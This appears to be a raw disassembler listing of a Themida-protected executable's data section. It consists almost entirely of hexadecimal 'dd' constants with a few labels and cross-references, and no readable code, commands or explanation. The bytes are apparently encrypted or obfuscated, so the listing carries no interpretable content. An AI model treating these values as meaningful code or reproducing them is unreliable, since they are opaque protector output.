		dd 32F1BD89h, 6A07E4h, 0E4195FFh
		db 0E4h
byte_60C639	db 7, 8Bh, 0C0h		; DATA XREF: Themida_:00582698o
					; Themida_:0058577Co
		dd 0BDED7FEBh, 0BD42AC56h, 0A947E085h, 29DE8730h, 0DB93B838h
		dd 0DC9DDE13h, 641EDDCh, 1406B45Fh, 0A922CC39h,	0A13BD485h
		dd 0CF98F0E1h, 0E7F1D87Ah, 0F9234222h, 0ABB545BBh, 8C9F1F3Fh
		dd 9AEC221h, 0CC2AD2FBh, 4EABFEE5h, 6C03F3ADh, 46BDDD56h
		dd 5F885F6Ah, 5CF6ABC6h, 9939BBDDh, 3B06E5E4h, 0FE770A5Bh
		dd 86C1DA45h, 79E43D0Dh, 8D9D6915h, 0C3D42D73h,	16363A5h
		dd 85200DBBh, 0A520ED15h, 418D8DE2h, 6A07ECA3h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 0B6B3C351h, 0A55DF92Dh, 0B58BB95Dh, 7E42B61h, 8CD8D89h
		dd 8D8907E4h, 7E41B71h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 18h, 0D3C35040h, 63E172CDh, 6850Fh, 820F0000h
		dd 0
aEbF@b		db 'Η…‘-δ',7,'@b',0
		align 2
aJ_0		db 'j',0
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h
		dd 0CC1A0C3h, 8103B691h, 0F9FFA065h, 22B985C7h,	7E4h, 13E90000h
		dd 0B1000000h, 7735C364h, 0E0E00893h, 58D2708h,	0DCADA1CFh
		dd 0B5FF454Ch, 7E41D5Dh, 128C0Fh, 0BE80000h, 49000000h
		dd 0D238F3F4h, 2262F659h, 5EF99B6Fh, 95FFF08Bh,	7E43061h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0ADC35040h
		dd 9A542036h, 8B3CE243h, 0E41B7585h, 0FF006A07h, 0E40E4195h
dword_60C7CC	dd 0EBC08B07h, 0DDDED35Bh, 8D726135h, 0A11B6FA2h, 0BAEB83C1h
					; DATA XREF: Themida_:00582D58o
		dd 6F77B123h, 0B8CCEFA6h, 783C3737h, 9F935CACh,	988BFBD0h
		dd 0CCA68A0h, 0FB044ED0h, 0EE84894Fh, 72C64472h, 65EE01ECh
		dd 3591FD87h, 0CE8F1B8Dh, 306EB0F8h, 75E94B12h,	38055CBEh
		dd 22BD864h, 0A8C52ABh,	0F4DD17F2h, 27C866A7h, 9E9h, 0ED2A8E00h
		dd 50h,	0AE90000h, 0A000005h, 667C1032h, 0C3D96D8Dh, 2339CDE7h
		dd 869C3044h, 22FB8FABh, 8CA883DCh, 0EA08E2F8h,	4C624056h
		dd 0ADC5A2B8h, 39B66619h, 13AE0342h, 923CCB10h,	0C5FD19F4h
		dd 21FE182Ah, 84DDFDD6h, 90A37E4Ch, 42A06C13h, 3181EA14h
		dd 42A0CFB4h, 0C9228B14h, 0F7421F35h, 2EC9011Bh, 0A90B9DD5h
		dd 42A0572Ch, 889A0314h, 4179916Eh, 427A9A73h, 3A2561DEh
		dd 9BB1455Dh, 0FD13A7BDh, 3D1091Fh, 1CD30B29h, 0BC5A0145h
		dd 0F590C8DEh, 0A05328A5h, 96FF1442h, 768C6A84h, 8C6A08E2h
		dd 91A33E76h, 4A829A77h, 42A0E39Dh, 4303C014h, 5C11E41Bh
		dd 3A14B2E0h, 33D01015h, 9EF7C991h, 1AB9CB66h, 7Ch, 5A795643h
		dd 81050D58h, 601794FAh, 0EE144225h, 83D32C85h,	0B7EF09E5h
		dd 0BEF60AE9h, 0F2B8CA23h, 4225B845h, 0F8AC6914h, 5B8C3BC4h
		dd 0A9CE0h, 4ABC0000h, 0FF2EE8A1h, 74495B53h, 0C8667D56h
		dd 9F64CFEFh, 1442A0h, 4EB70826h, 16EFBDF5h, 8D34A6F6h
		dd 7FA6EEA7h, 0FE1CF682h, 795826ECh, 4CC92D65h,	0E8C36118h
		dd 0C7A0BACCh, 20FD13A7h, 289A7408h, 719E9F55h,	0C69BAD23h
		dd 275F7B56h, 28608059h, 0FA6521EAh, 596F031Fh,	5E2C647Ch
		dd 62306882h, 0F77487h,	0CE1442A0h, 6D40C65h, 72D60E2Ch
		dd 0F0CEB1F5h, 182981DAh, 0FFF306Ch, 8EF8E05Ch,	21000000h
		dd 275F7B56h, 775C7D59h, 64F52831h, 50B4EC45h, 0FF17F492h
		dd 291450EDh, 626FF4Eh,	7EFB5DADh, 144297F9h, 0D4C7E555h
		dd 566E428Ah, 0EFC9EBFDh, 0D25E7251h, 8A3DBF7h,	0E501DCF6h
		dd 0EC00DFADh, 0F00AE6B4h, 0F50DEAB8h, 772F06BDh, 0B8112D08h
		dd 67174F60h, 0E05BACC8h, 482FAC0Eh, 61442C9h, 1A36119Dh
		dd 526908h, 56920000h, 59275F7Bh, 0B315657Bh, 42A04136h
		dd 54A40D14h, 42A020D7h, 3345AE14h, 5D098C6Dh, 57EB07E2h
		dd 16F49286h, 0FBD4EE00h, 7311A3DBh, 0A8437B99h, 7B47E48h
		dd 5E702162h, 42599B65h, 9BCB8814h, 5B181CE3h, 6B9E0h
		dd 3BD90000h, 5C314361h, 10607A56h, 0A04A31AEh,	0A8081442h
		dd 42A0542Bh, 40990214h, 0BD9A682Eh, 0DBB755A5h, 0A0B64DCAh
		dd 0BB241442h, 0D38A5062h, 0F9D548FCh, 571D8FDFh, 0E7418AAFh
		dd 2214355h, 54D1218Dh,	13A6271Eh, 6D3B73DCh, 0CEE47890h
		dd 0F4A1D9F1h, 13A64809h, 3A19B77Bh, 0A3FC18F3h, 21BED06Bh
		dd 0E1DFA65h, 0A648EA91h, 0A6FF6813h, 71FFC12h,	0C09F3DCFh
		dd 0A3809AACh, 4C15538Bh, 30482518h, 293AC59Ch,	3B9BD877h
		dd 0C4000001h, 1C6C424Dh, 23431CBAh, 42A0C3B8h,	14268F14h
		dd 0F572D436h, 1442A00Eh, 585163CCh, 13A6BE86h,	896EEB4Dh
		dd 4513A6BEh, 58B1CFA9h, 0C6FE6746h, 6F031BF8h,	505D7C59h
		dd 0E56403BEh, 0E901F673h, 64CD13A6h, 0C462B20Bh, 0C896CEE8h
		dd 6779D2ECh, 0DEF6D3A1h, 0E79F68A6h, 94942B4h,	9C3E10C6h
		dd 7B93708Ah, 966F0DE7h, 91A33E76h, 772B49B6h, 468ED8h
		dd 4DB70000h, 9D1A6A44h, 6BBD5F06h, 8176F355h, 4D9442A0h
		dd 83F3D2E4h, 7D8A388Bh, 65855EFDh, 0E039922Dh,	4104FBA8h
		dd 5F269442h, 4C622F27h, 0BE187FFCh, 0C537EBBDh, 0DEEAF167h
		dd 0C1A0B2AFh, 7FF6C458h, 85000000h, 1C6C424Dh,	0A6B9F59Fh
		dd 0B2B9B13h, 557B5A1Bh, 0D09ED62Fh, 3147DBF3h,	57043C54h
		dd 13A6C25Bh, 312C58DBh, 89A83C54h, 0F658A806h,	0A6C38279h
		dd 0D5E75013h, 60277AF7h, 93F3144Ah, 0C7FF19F5h, 0A73AC12Ch
		dd 2F981B93h, 6E0C9ED6h, 0A7427A90h, 869E7B95h,	84C0974Eh
		dd 3BB8FF90h, 1B93A744h, 50A912h, 826009Eh, 4A4FDF6h, 0D761C7Fh
		dd 23019F79h, 1F191A06h, 25BF81Dh, 424D1BF0h, 3A135A39h
		dd 1868C11Ah, 0A5FB44B6h, 0FA5A7450h, 4166C22h,	0AE25D60Bh
		dd 0E31B8413h, 8D72EF51h, 4913AE69h, 0D7B4CEE0h, 900D6FBFh
		dd 13AE69EBh, 0CAECFE67h, 87BFD7B4h, 0AFEAECDAh, 782CA944h
		dd 7C102805h, 653E8966h, 0E6B4EC45h, 4BBF307h, 2906792Dh
		dd 0E25FC111h, 4AACEC1Dh, 1C3E50B9h, 0D9112906h, 353h
		dd 3E8DE200h, 245C7E56h, 29617956h, 2F677D5Bh, 31698761h
		dd 346C8863h, 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h
		dd 0E18951EEh, 4C181h, 0E9810000h, 4, 5C240C87h, 81242489h
		dd 42404h, 2F680000h, 89000055h, 8950240Ch, 405E0h, 0E8830000h
		dd 24048704h, 2434895Ch, 0ECA3B468h, 240C8B07h,	4C481h
		dd 8B540000h, 0C4832434h, 6D236804h, 0C890000h,	8468F24h
		dd 5724348Bh, 0C781E789h, 4, 4C781h, 3C870000h,	34FF5C24h
		dd 0C4815924h, 4, 0F7D542E9h, 5873A2FFh, 0A83EB8E1h, 0C50307ECh
		dd 20AFE0FFh, 25C358C9h, 34965417h, 3A014A47h, 0EC702D93h
		dd 0BF361961h, 968D7588h, 5E9E37E8h, 0EBB83ADFh, 68091F69h
		dd 299D7418h, 1DED1519h, 0F8185FD7h, 71F06D9Ch,	606931DBh
		dd 76A23434h, 6CB35FD7h, 0C3B119C4h, 0CB675586h, 3B356EA3h
		dd 3B8329FBh, 1DFF0830h, 7BAD271Bh, 0BA9A54DAh,	458276FAh
		dd 0ADD254EDh, 640B677Bh, 3A407636h, 36CF7506h,	743274A8h
		dd 5BD450DAh, 0AE8648Eh, 0BB000000h, 703EAE31h,	7F438DEDh
		dd 38D0F5Ch, 51000000h,	815B5FFCh, 5F86C3h, 6800h, 0CF8B0000h
		dd 0D88A6058h, 1834FF61h, 0CFC78166h, 830F5EA6h, 2, 0C68106B6h
		dd 190949F6h, 0CB9F281h, 0F681117Ah, 2D64BEE5h,	68C0Fh
		dd 0D1810000h, 6B45BCD9h, 0C800C681h, 89FC0A3Dh, 0C7810334h
		dd 3797AA29h, 81FBBF0Fh, 831550E8h, 0D3B70F07h,	154CC081h
		dd 0FE80783h, 0D8000000h, 40ED3571h, 0B5F87951h, 0F40897E0h
		dd 8B666220h, 0F8815AD0h, 0FFFFA114h, 0FF8B850Fh, 0BF0FFFFFh
		dd 10EBD1h, 3 dup(0)
		dd 8B000000h, 0E68166C0h, 0BD83DE24h, 7E413F1h,	83097500h
		dd 0E40935BDh, 19740007h, 0C08B5350h, 42DB8h, 79858900h
		dd 8D07E414h, 0E6E9F09Dh, 5BD3FF07h, 35BD8358h,	7E409h
		dd 53501774h, 42DB8h, 79858900h, 8D07E414h, 0E6E6DF9Dh
		dd 5BD3FF07h, 9B6EBE58h, 958B3C79h, 7E404DDh, 0D08BC08Bh
		dd 8D8D8Bh, 6A07E4h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 0C843C8C3h, 94280B7Ah, 81662EA5h
		dd 8358EDE2h, 840F00F9h, 5Ch, 0B3E8BE66h, 2C3D8B64h, 66000000h
		dd 1BCBF281h, 840FFF0Bh, 44h, 26918D29h, 3F8B07E4h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0D0C35747h, 80FE38BFh
		dd 890182E3h, 0E4222995h, 8BC03207h, 0E40D8995h, 66AAF307h
		dd 9531D08Bh, 7E42469h,	50414935h, 0DE953h, 97B30000h
		dd 439E6665h, 610537C6h, 0C694BBA2h, 0E42C2D85h, 6A4707h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 2E741FC3h, 52B8C114h, 0C568ABEBh, 0F8D2A9Dh,	587h, 0C8B2BA00h
		dd 34810970h, 0FC15E924h, 94DABA51h, 952B54A9h,	7E401B1h
		dd 2141B5FFh, 5DB607E4h, 0B0A7858Dh, 0BD8907E7h, 7E42B4Dh
		dd 6AD0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h
		dd 57470000h, 27FD55C3h, 958B5028h, 7E42211h, 0A618589h
		dd 0B58907E4h, 7E413D1h, 2C2D85C6h, 665307E4h, 688B2DBAh
		dd 72FE6EA5h, 48100B6h,	99FC5724h, 0B5FFF515h, 7E42141h
		dd 8810Fh, 860F0000h, 2, 858D38B6h, 7E7B0A7h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 53C35646h, 8918AA51h
		dd 0E42BDDBDh, 89D0FF07h, 0E42BE985h, 26858D07h, 6007E770h
		dd 2E159533h, 860F07E4h, 6, 26E59D8Bh, 896107E4h, 0E4160185h
		dd 898D8907h, 6A07E42Fh, 0FFFF6A20h, 0E4160195h, 41493507h
		dd 85C75350h, 7E4038Dh,	1, 2B6585C7h, 7E4h, 10E90000h
		dd 43000000h, 4010180Dh, 0E5ACCF5Ah, 4043809Eh,	6ABEC357h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 17042444h
		dd 45000000h, 0E261C355h, 8BF9EF22h, 0E4301985h, 68D0F07h
		dd 2B000000h, 0E4069995h, 0A36407h, 83000000h, 0E4015DBDh
		dd 840F0007h, 4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 5EC35343h, 550960D0h,	0BD895822h, 7E42F89h
		dd 0AB9858Bh, 0B50307E4h, 7E42BA9h, 8E0FE08Bh, 11h, 6E8h
		dd 0F835DA00h, 0BA8134C1h, 6EFA8A38h, 65BD835Eh, 7E414h
		dd 3F4850Fh, 9D290000h,	7E40565h, 0AE8h, 8724CD00h, 67AAD642h
		dd 0FB62964h, 0C65EF3B7h, 0E42C2D85h, 8D895607h, 7E42355h
		dd 74F13F68h, 243481C2h, 6BB1C1E0h, 139DB501h, 0B5FF07E4h
		dd 7E42141h, 7B5B523h, 858D07E4h, 7E7B0A7h, 0CBAD0FFh
		dd 506310CAh, 8B665250h, 0BA310FD1h, 496640F8h,	489585Ah
		dd 52006A24h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 0F6FD4A91h, 0D2AC862Eh, 2DB58B05h, 8B07E406h
		dd 0E404D1B5h, 0C18D8D07h, 6A07E426h, 3E85300h,	20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 1E55C353h
		dd 26D4BA62h, 8E8h, 60347A00h, 6458804Dh, 0D9958BF8h, 5E07E418h
		dd 50F78A91h, 8B0F6091h, 5, 719FBCBEh, 0D1816643h, 6A610467h
		dd 74BA6604h, 6C16832h,	0D38B86ADh, 3F240481h, 0FF795309h
		dd 0E415DDB5h, 95B58B07h, 0FF07E409h, 51006AD0h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1B04h, 0C3514100h
		dd 94DE389Fh, 8D0BE5C3h, 299B501h, 0BD8B07E4h, 7E415DDh
		dd 6C1BD29h, 7F0307E4h,	53006A3Ch, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 27882F8h, 81D38A2Ah, 0F8C7h
		dd 2870F00h, 51000000h,	2447C75Ah, 60000020h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 0F0C35141h, 11E85481h
		dd 0F6000000h, 0AAC45CEFh, 0AE47FF1Dh, 2F567EF4h, 54A55A76h
		dd 6840Fh, 85890000h, 7E4045Dh,	0E8BD835Ah, 7ECA9h, 11C840Fh
		dd 6CBE0000h, 830D0CC3h, 6A28C7h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1B0424h, 57470000h, 0E56D1BC3h, 0F05F6275h
		dd 9531F5F6h, 7E413B5h,	6A2E07C7h, 0AE96469h, 19000000h
		dd 2813ADEEh, 622717ECh, 447C729h, 617461h, 858BF38Bh
		dd 7ECA9F0h, 29B58960h,	8B07E407h, 0E4278D8Dh, 47896107h
		dd 4585090Ch, 8B07E415h, 0ECA9F485h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1B04h,	0C3534300h, 6EC09D9h, 3C74251Ch
		dd 3810Fh, 0B70F0000h, 27BE66F1h, 8478982h, 8870Fh, 890F0000h
		dd 2, 0C7835A57h, 0FDB58928h, 0C707E41Ch, 6F632E07h, 0FE9606Eh
		dd 0F000000h, 0AA2D61B6h, 0F05199ECh, 0C50CD5A8h, 0C76137A2h
		dd 69660447h, 9D310067h, 7E41AC9h, 3F9F78BEh, 0EC858B22h
		dd 0E907ECA9h, 10h, 0C60ADFDh, 4F11766h, 43ECF464h, 88E8058Ch
		dd 8B0C4789h, 0ECA9E885h, 0FFBE6607h, 8478978h,	1B9D8D89h
		dd 6A5807E4h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 4D4EC352h, 0A98D0960h,	6607E422h
		dd 0D4E2DF81h, 6E961h, 2BF40000h, 9B0ED60Eh, 21A58D8Dh
		dd 6A07E4h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h
		dd 53430000h, 17C33EC3h, 6800F24h, 8B000000h, 0E4060DB5h
		dd 198A0F07h, 0F000000h, 1380h,	0EE900h, 0E5720000h, 0C6D3DDC4h
		dd 0F29BF47h, 2CE2133Fh, 14E950h, 0BA850000h, 24283B3Dh
		dd 5C7405F0h, 97A2655Bh, 0E62CBBDAh, 0C890F65h,	9E824h
		dd 0A84F0000h, 6EF801Ah, 8136E26Dh, 4D49BBF6h, 0B5FF5A4Fh
		dd 7E426C1h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 14h,	0CDC35242h, 89B9E280h, 0E41529BDh, 0ED306807h
		dd 880F3CB2h, 8, 6660B560h, 61F1F6B8h, 30243481h, 8B3CB2FDh
		dd 0E401F595h, 23DA8007h, 15DDB5FFh, 0D0FF07E4h, 989958Bh
		dd 0B807E4h, 0E9000000h, 0Fh, 108923D2h, 63B0236Bh, 0A8AC643Ch
		dd 0F7A57F1h, 88Ah, 0B58B5000h,	7E425A1h, 0FC00B5Ah, 5D84h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 0EC75106h, 5860Fh, 81660000h, 50CFDCD2h
		dd 12E9h, 767E1400h, 31281E1Bh,	11A7459Dh, 29EAB36Dh, 5E2332CCh
		dd 0DA1B5FFh, 850107E4h, 7E42145h, 1915950Bh, 95FF07E4h
		dd 7E43061h, 0C08B64B2h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 15h, 3FC35242h, 0BD95899Dh, 8307E407h, 0E413F1BDh
		dd 9750007h, 935BD83h, 740007E4h, 8B535019h, 42DB8C0h
		dd 85890000h, 7E40EEDh,	0EA579D8Dh, 0D3FF07E6h,	0BD83585Bh
		dd 7E40935h, 50177400h,	42DB853h, 85890000h, 7E40EEDh
		dd 0E6F89D8Dh, 0D3FF07E6h, 11BE585Bh, 0F63EE1Ah, 686h
		dd 0E9952B00h
		dd 0E907E406h, 11h, 28E3C667h, 49DEA71Ch, 3DDC8C2Ch, 554D1FFDh
		dd 8BC08B0Eh, 0E42A6195h, 8DC08B07h, 0ECB2BD8Dh, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 65194A15h, 9A8B2D48h, 0F5B58BB0h, 8B07E424h,	0E40AE1BDh
		dd 718D8907h, 2B07E41Bh, 0E40D3595h, 0A185C707h, 2807E42Dh
		dd 0F900005Ch, 22B985C7h, 7E4h,	6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 0F7F5C1C3h
		dd 29FD8F20h, 9D8960DDh, 7E42669h, 91B5FF61h, 107E422h
		dd 0E41E4D8Dh, 6195FF07h, 6607E430h, 8B0608BBh,	0E40DC185h
		dd 0FF006A07h, 0E40E4195h
dword_60D748	dd 0EBC08B07h, 3D96876Fh, 0FDCBA7FFh, 8020220Dh, 140F78B5h
					; DATA XREF: Themida_:00583FFCo
					; Themida_:005842D8o
		dd 124D8AB0h, 0D3959886h, 6135DDDEh, 6FA28D72h,	83C1A11Bh
		dd 0B123BAEBh, 0EFA66F77h, 3737B8CCh, 5CAC783Ch, 0FBD09F93h
		dd 68A0988Bh, 4ED00CCAh, 894FFB04h, 4472EE84h, 1EC72C6h
		dd 0FD8765EEh, 1B8D3591h, 0B0F8CE8Fh, 4B12306Eh, 5CBE75E9h
		dd 0D8643805h, 52AB022Bh, 17F20A8Ch, 66A7F4DDh,	8E8h, 0F59E8000h
		dd 0EFF1509Eh, 810F60A1h, 3, 0FFA8B66h,	5961F2B7h, 99CA8166h
		dd 69C181C1h, 0B000067h, 0E401D5BDh, 19B4BE07h,	858B0000h
		dd 7E43329h, 958B31FFh,	7E42FD5h, 81D38B5Bh, 3A383BEBh
		dd 0E3EB8134h, 8B6847E9h, 0E41E19BDh, 0CFEB8107h, 0E945A4CDh
		dd 12h,	50994D9Bh, 0C7CF7BE2h, 0F3D7522Ch, 5B24E14Dh, 19893EADh
		dd 3850Fh, 8B660000h, 62E981FEh, 8B66BE6Fh, 0E41DE595h
		dd 5EC18107h, 8966BE6Fh, 0E425B5B5h, 850F4E07h,	0FFFFFF9Ch
		dd 0BE7FD081h, 0EB1861h, 3BAE9h, 36583000h, 93B38CA2h
		dd 0F30DE9FFh, 566A495Fh, 0B5D1ACC2h, 0A9A24821h, 81EB2CEh
		dd 667C102Eh, 0C8DE7288h, 8C3FD3EBh, 13985FDCh,	0F13613AEh
		dd 5D7D5662h, 0BDD7B3C9h, 20341329h, 7F9B768Ch,	0ABFAD5EBh
		dd 0E17CB4D0h, 28607855h, 8AA0348Dh, 0E04292B0h, 42A09C63h
		dd 0C39E3A14h, 10EE4EA7h, 0A723E585h, 0DFB9DBEDh, 0DC56096Dh
		dd 1C2EDD76h, 7A0E2402h, 0DB6F8764h, 6D876301h,	8F889A35h
		dd 13A972DAh, 5C394254h, 5F3E0C44h, 0F7A9134Bh,	4E608059h
		dd 0F1415534h, 0D84DE17Fh, 0F2392490h, 0B9046418h, 8DAFC116h
		dd 203815B3h, 183B4DE8h, 6AE73777h, 144AC2C0h, 5BED258Eh
		dd 0B791E4BDh, 6DC66199h, 6E8E6735h, 710A0315h,	0D61B92CCh
		dd 3CDA81C5h, 7510485Eh, 0FF43DC15h, 3C4EEB50h,	8B809E61h
		dd 0F237D0h, 56600000h,	14EB687Bh, 0C21442A0h, 5DC80059h
		dd 0C6953BADh, 0B8FEB004h, 0A04BC8A6h, 2E14425Bh, 90375C5h
		dd 9E7F08E4h, 0E9B77D8Fh, 86FCED0Ch, 19077BCFh,	39162CC0h
		dd 5633D121h, 0ACDE4537h, 0BD165FBEh, 0BEDEB785h, 0B68D5365h
		dd 885D5D9h, 13A604AAh,	283C1BB9h, 67A45BD8h, 0C93213A6h
		dd 376FD8B7h, 82FDA980h, 0DAF98DA5h, 2CA9F9B5h,	14427C86h
		dd 445837D5h, 0AFC1DDB8h, 612F67D0h, 0C0D66A86h, 0BA91C9E5h
		dd 2587D7D7h, 0AF8E7CB3h, 0E984BCD0h, 4FA13D89h, 1C8F443Dh
		dd 0E24B1B8Ah, 4E602F4Eh, 77F81FEh, 6CD51C6Eh, 6F8B6634h
		dd 708F01DBh, 74EC8749h, 0F3CEE8FAh, 6F0D9FD7h,	41647696h
		dd 910E5E50h, 3EE7AD6h,	626FF9Dh, 4E869C7Ah, 52C2A1B3h
		dd 0DD516Ch, 0B515B0E8h, 267F4515h, 85A17C92h, 38B517F1h
		dd 3EE6443h, 0BF94A60Fh, 1C6C424Dh, 0A6BE699Fh,	86BE2713h
		dd 2FC3DBB8h, 96FB4D08h, 811F0F18h, 0B8538BA5h,	0BFD2ADA6h
		dd 684513A6h, 0BF27DC59h, 9B7813A6h, 5FB04B83h,	2F099DF6h
		dd 37552FCDh, 0A6BF37CCh, 283AA313h, 0E119310Eh, 0BCD4B14Fh
		dd 9BB390AAh, 285C2563h, 0AC405835h, 77F22AD5h,	47ABD8h
		dd 4DD40000h, 9F1C6C42h, 13A6B501h, 0BCD6B250h,	845DE984h
		dd 7F912C64h, 49E737A0h, 34F3536Dh, 56501364h, 0D09E6476h
		dd 0ED8BDBF3h, 0D3E7C60Fh, 1BA7427Ah, 53EE263Eh, 0D3451F41h
		dd 8BE17342h, 693B4D68h, 0Fh, 16F492F8h, 0F5D4EE00h, 0FEDBA9E1h
		dd 568152E6h, 1CCF6377h, 0A004EF6Ch, 2DCB1442h,	43223454h
		dd 0F7D4A2DAh, 0FED9A7DFh, 0DCAAE2h, 647E5AE6h,	0E69E752Ch
		dd 265E35AAh, 0A001F673h, 0B4921442h, 0BBE44D9Eh, 0A0E58E0Bh
		dd 0CC6A1442h, 0E3C2D4F2h, 0A0710683h, 6DDD1442h, 0AF33DCh
		dd 0AC055E30h, 0A918DF5Ch, 4DB61442h, 0AEC6A3B9h, 0A2C5811Ah
		dd 14h,	53209231h, 51138C6Ah, 22FF192Bh, 2704D20Ah, 4D9C7B0Fh
		dd 245C7E56h, 29617956h, 2F677D5Bh, 31698761h, 346C8863h
		dd 376F8B66h, 3E768A69h, 427A9470h, 437B9B74h, 60C168EEh
		dd 8F540000h, 4812404h,	424h, 43336800h, 4890000h, 0E7895724h
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 68243489h,	79E7h
		dd 68241489h, 68D9715Ah, 4AD2F75Ah, 0DACAEA81h,	0D0898F39h
		dd 4EC835Ah, 81242489h,	42404h,	685E0000h, 309Ch, 8F240489h
		dd 34FF0846h, 0C4835E24h, 24048B04h, 81E78957h,	4C7h, 4C78100h
		dd 87000000h, 0E95C243Ch, 0FFF7C673h, 0F1CCD6CCh, 6C33A553h
		dd 0B8E45EA6h, 7ECB706h, 0E0FFC503h, 61CFEC94h,	3BF5C5B0h
		dd 2867430Ah, 7A18293Eh, 37DD0734h, 38E3D184h, 7A086E2Bh
		dd 6315E43Eh, 42F6586Bh, 1F6FB61h, 1120F448h, 61DC9889h
		dd 51BEEBDFh, 562D592Fh, 0E0FFF99h, 5966A6C2h, 158DC9F6h
		dd 33A23E65h, 4DDF175Fh, 48DF2BDDh, 37997CCCh, 16299B86h
		dd 0F1E2922h, 7B7E742Bh, 0D8E36ECh, 79435528h, 6DEC4EFFh
		dd 5AAE6EB8h, 11811170h, 4DA0E87h, 79C28166h, 0D8F4806Dh
		dd 2800Fh, 0F88A0000h, 68CEBF66h, 66F38B66h, 8BA56BBFh
		dd 0FE9DFh, 53380000h, 0D39EB622h, 917F6E99h, 0C000CEC7h
		dd 9E93Ch, 0B3610000h, 9FA3F2BEh, 0E94BD1E0h, 9, 3F46F8D4h
		dd 0B06C45C0h, 80FA8A92h, 0AE96CE9h, 16000000h,	11A4E64Dh
		dd 4F9EBACCh, 14810FF2h, 53000000h, 0CE8h, 0A7C0D100h
		dd 0ECD4F8E2h, 898D8323h, 0B05E5F6Ah, 0F0BF0FD5h, 0FCB8B66h
		dd 0B70FFFBFh, 0C860FCEh, 0F000000h, 68Ch, 800F00h, 0B1000000h
		dd 0FB8B66BFh, 3810Fh, 8B660000h, 6890FCAh, 81000000h
		dd 33A110DBh, 81576061h, 68BE8CAh, 7E95852h, 11000000h
		dd 3ECFFC22h, 0F6140A7h, 0BF66C1BFh, 8CB7E147h,	7E8FCh
		dd 37940000h, 0F1542DF3h, 73BA532Bh, 5F50714Dh,	44BE665Ah
		dd 4F0DBA77h, 9E91B70h,	90000000h, 0B60BF8BFh, 1FF5F955h
		dd 810F75B1h, 4, 0D038BA66h, 18B0Fh, 0FF50000h,	3FB1CEB7h
		dd 842B31BAh, 850F13h, 0F000000h, 0DF81FAB7h, 39FD77DAh
		dd 0FE8B60FCh, 0F1816661h, 0E860AE88h, 0Eh, 865CD10Bh
		dd 9D3E0532h, 0CAFB617Ch, 0FA8A89DDh, 8166535Fh, 5E7619D3h
		dd 14E961h, 3E6F0000h, 0D27B6747h, 3F409BAAh, 55CD3C9Ah
		dd 74B18E8Eh, 0E380B728h, 0EE98Bh, 234E0000h, 175FA65h
		dd 9F403BD5h, 0F947B0E7h, 8E9h,	0DFAE8000h, 2878487Ah
		dd 5E9DBh, 0C44F0000h, 80E924FFh, 8B662CC2h, 6E9CBh, 29010000h
		dd 8F9992A9h, 8B66DF8Bh, 870F60D3h, 2, 0B261EAB6h, 11810F7Bh
		dd 0E9000000h, 0Ch, 0DB3D1A8Fh,	32353495h, 0B15D2D52h
		dd 0EF41BA66h, 0FE8F5h,	10340000h, 191DB4ACh, 10E20F96h
		dd 0EADF9E0Ah, 0FB8B669Dh, 13E959h, 9A4E0000h, 9AD28B65h
		dd 0ACD2BDD1h, 0D5AAACFEh, 0BA326D16h, 0AE85384h, 40000000h
		dd 4EC84789h, 870A0B2Ch, 13E958h, 0C68D0000h, 5BE1FAE9h
		dd 0C889EB88h, 9335F770h, 0A5D607C6h, 0F5B5A18h, 0EDB8F2B7h
		dd 0F479CC4h, 0FF9C8BFh, 1180h,	9E800h,	0C13B0000h, 66750115h
		dd 0B408E5AEh, 9BBA5AEBh, 52104E89h, 14E8h, 0B6282D00h
		dd 0F51B2304h, 2EDA9009h, 2BEBD2A2h, 0C2C2AD97h, 0EE851h
		dd 0ECB20000h, 92221741h, 0CE757984h, 0A9862546h, 665E5F58h
		dd 0BBB154B8h, 48C85ECAh, 8150FCF5h, 7C9E84E2h,	60F95859h
		dd 11E9h, 23E0C100h
		dd 944DAC57h, 0C8F215C8h, 0D2FC57B3h, 0D78B3AF5h, 0C9816661h
		dd 0F603FA6h, 388h, 0DFBF0F00h,	251DBB66h, 0AE961h, 0F6D10000h
		dd 0E06BAF6Ah, 5D83F32Dh, 85BB6056h, 0F44595Dh,	5961FEBFh
		dd 890FC78Bh, 5, 7AE68166h, 3BBBBF20h, 0EAB80DCCh, 0BE5E796Dh
		dd 1BD0950Ah, 0BE9h, 0DE495000h, 0CAB889FBh, 68DEE47Ch
		dd 0AE8h, 4AEECC00h, 3AFBF184h,	0FB21CE5h, 38Ah, 0F38B6600h
		dd 0BE95Fh, 987D0000h, 0C5BB79D2h, 0B46C8967h, 0D681665Dh
